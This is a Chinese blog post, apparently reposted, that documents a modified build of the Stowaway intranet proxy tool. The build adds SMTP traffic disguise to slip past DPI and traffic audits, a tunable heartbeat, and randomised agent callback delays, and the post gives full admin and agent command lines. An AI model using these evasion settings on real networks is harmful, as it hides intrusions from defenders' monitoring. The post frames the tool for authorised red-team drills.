文章总结: 本文介绍基于Stowawayv2.2的二次开发版本,新增SMTP流量伪装功能使节点间流量呈现为邮件会话以绕过DPI和流量审计,同时Admin端增加-smtp和–heartbeat-interval参数,Agent端增加-smtp和–delay参数支持延迟回连,适用于域渗透与内网渗透场景,文中提供了详细的参数说明与使用示例。 综合评分: 82 文章分类: 内网渗透,安全工具,红队,渗透测试
基于内网多级代理工具Stowaway的二开功能拓展与优化
原创
Pop Pop
RedTeam回忆录
2026年3月8日 09:31 山东
基于 Stowaway v2.2 的二次开发,新增的协议伪装、参数与使用方式,适合在域渗透、内网渗透与流量审计场景下使用。
特别致敬原作者
ph4ntom开源 Stowaway,本版仅在其基础上做协议伪装与参数扩展,用于授权环境演练
一、总览
二、参数
本版在不改原版架构的前提下,主要做了四块:SMTP 流量伪装、Admin 新增参数、Agent 新增参数、Banner 修改。
admin 参数:
-l 被动模式下的监听地址 [ip]:<port>
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--socks5-proxy / --socks5-proxyu / --socks5-proxyp / --http-proxy 代理相关
--down 下游协议类型,默认为裸 TCP,可选 HTTP/WS/SMTP
-smtp 下游使用 SMTP 伪装(与 --down smtp 等价),流量呈邮件会话便于过 DPI
--heartbeat-interval 心跳间隔(秒),需与 --heartbeat 同用,默认 10
--tls-enable 启用 TLS
--domain 指定 TLS SNI/WebSocket 域名
--heartbeat 开启心跳包
agent 参数:
-l / -s / -c 同 admin
--socks5-proxy / --http-proxy 等 代理相关
--reconnect 重连时间间隔
--rehost / --report 端口复用
--up / --down 上游/下游协议,可选 HTTP/WS/SMTP
-smtp 上游使用 SMTP 伪装(与 --up smtp 等价),便于过 DPI
--delay 首次回连前随机等待 0~N 秒
--cs shell 编码,默认 utf-8,可选 gbk
--tls-enable / --domain 同 admin
1️⃣ SMTP 流量伪装
目的:节点间 TCP 流量在链路上呈现为 SMTP 邮件会话,过 DPI、流量审计或安全设备时更易被识别为“正常发邮件”,便于在严格环境使用。
大致原理
| 环节 | 说明 |
| — | — |
| 握手 | 服务端 220 ... ESMTP,客户端 EHLO <随机>,服务端 250 OK,形态与常见邮件客户端一致 |
| 每条消息 | MAIL FROM / RCPT TO / DATA,正文随机 Subject + base64(payload),以 \r\n.\r\n 结束 |
| 节奏 | 发送前 0~60ms 随机时延,打散时序,降低特征 |
使用要点:Admin 与 Agent 必须同时选 SMTP(不能一端 SMTP 一端 raw)。Admin 用 -smtp 或 --down smtp,Agent 用 -smtp 或 --up smtp。
2️⃣ Admin 新增参数
| 参数 | 含义 | 备注 |
| — | — | — |
| -smtp | 下游 SMTP 伪装 | 与 --down smtp 等价,-h 中单独列出 |
| --heartbeat-interval <秒> | 心跳间隔(秒) | 默认 10,须与 --heartbeat 同用,可设 30、60 等 |
帮助中增加「Added options」区块,可运行 stowaway_admin -h 查看。
3️⃣ Agent 新增参数
| 参数 | 含义 | 备注 |
| — | — | — |
| -smtp | 上游 SMTP 伪装 | 与 --up smtp 等价,与 Admin -smtp 配合 |
| --delay N | 首次回连前随机等 0~N 秒 | 域渗透用 |
例:--delay 120 表示启动后随机 0~120 秒再连 Admin
三、参数用法。
-smtp / –down smtp / –up smtp
-smtp 为本版简写(admin 等价 --down smtp,agent 等价 --up smtp)。主动/被动模式均可;admin 无 --up。两端必须一致。
| 角色 | 示例 |
| — | — |
| admin | ./stowaway_admin -l 9999 -s 123 --smtp 或 --down smtp |
| agent | ./stowaway_agent -c <admin_ip>:9999 -s 123 --smtp 或 --up smtp |
–heartbeat / –heartbeat-interval
仅 admin,主动/被动均可。--heartbeat 使 admin 向首节点持续发心跳,有反向代理时维持长连接;--heartbeat-interval 为间隔(秒),默认 10,须与 --heartbeat 同用。
| 角色 | 示例 |
| — | — |
| admin | ./stowaway_admin -l 8000 --tls-enable -s 123 --down ws --heartbeat |
| admin(本版可调) | ./stowaway_admin -l 8000 --tls-enable -s 123 --down ws --heartbeat --heartbeat-interval 30 |
| agent | ./stowaway_agent -c xxx.xxx.xxx.xxx:8080 --tls-enable -s 123 --domain xxx.com --up ws |
–delay
仅 agent、仅主动模式。可选;设置后启动不立即回连,随机等 0~N 秒再连父节点。
| 角色 | 示例 |
| — | — |
| agent | ./stowaway_agent -c 127.0.0.1:9999 -s 123 --delay 60(随机 0~60 秒后连接) |
完整示例(可替换 IP/端口)
Admin(监听 1592,密钥 123,SMTP + TLS + 心跳):
stowaway_admin -l1592-s123--smtp--tls-enable--heartbeat--heartbeat-interval30
Agent(连 192.168.1.100:1592,延迟 0~120 秒再连):
stowaway_agent -c127.0.0.1:1592 -s123--smtp--tls-enable--domain192.168.1.100 --delay120
注意事项
| 项 | 说明 |
| — | — |
| TLS | Admin 与 Agent 须同时加或同时不加 --tls-enable,不能一端 TLS 一端明文,否则报错/EOF。 |
| SMTP | 两端一致:Admin -smtp 或 --down smtp,Agent -smtp 或 --up smtp。 |
| 域名 | Agent 的 --domain 填 Admin 的 IP 或域名(TLS SNI)。 |
| delay | --delay 120 表示首次回连前随机等 0~120 秒,适合多机分批上线。 |
TLS 与 SMTP 两端一致易忘,部署前建议核对。更多参数见 stowaway_admin -h、stowaway_agent -h。
四、截图展示
Windows
Linux
五、小结
本版二开、在保持与原版兼容的前提下做了四件事:
| 模块 | 内容 |
| — | — |
| SMTP 伪装 | 节点间流量呈 SMTP 邮件会话,便于过 DPI/流量审计(协议封装、随机信封、发送抖动) |
| Admin | 新增 -smtp、--heartbeat-interval,帮助中 Added options 说明与示例 |
| Agent | 新增 -smtp、--delay N,打散首次上线时间 |
获取方式:公众号回复Stowaway
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:RedTeam回忆录 Pop Pop《基于内网多级代理工具Stowaway的二开功能拓展与优化》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论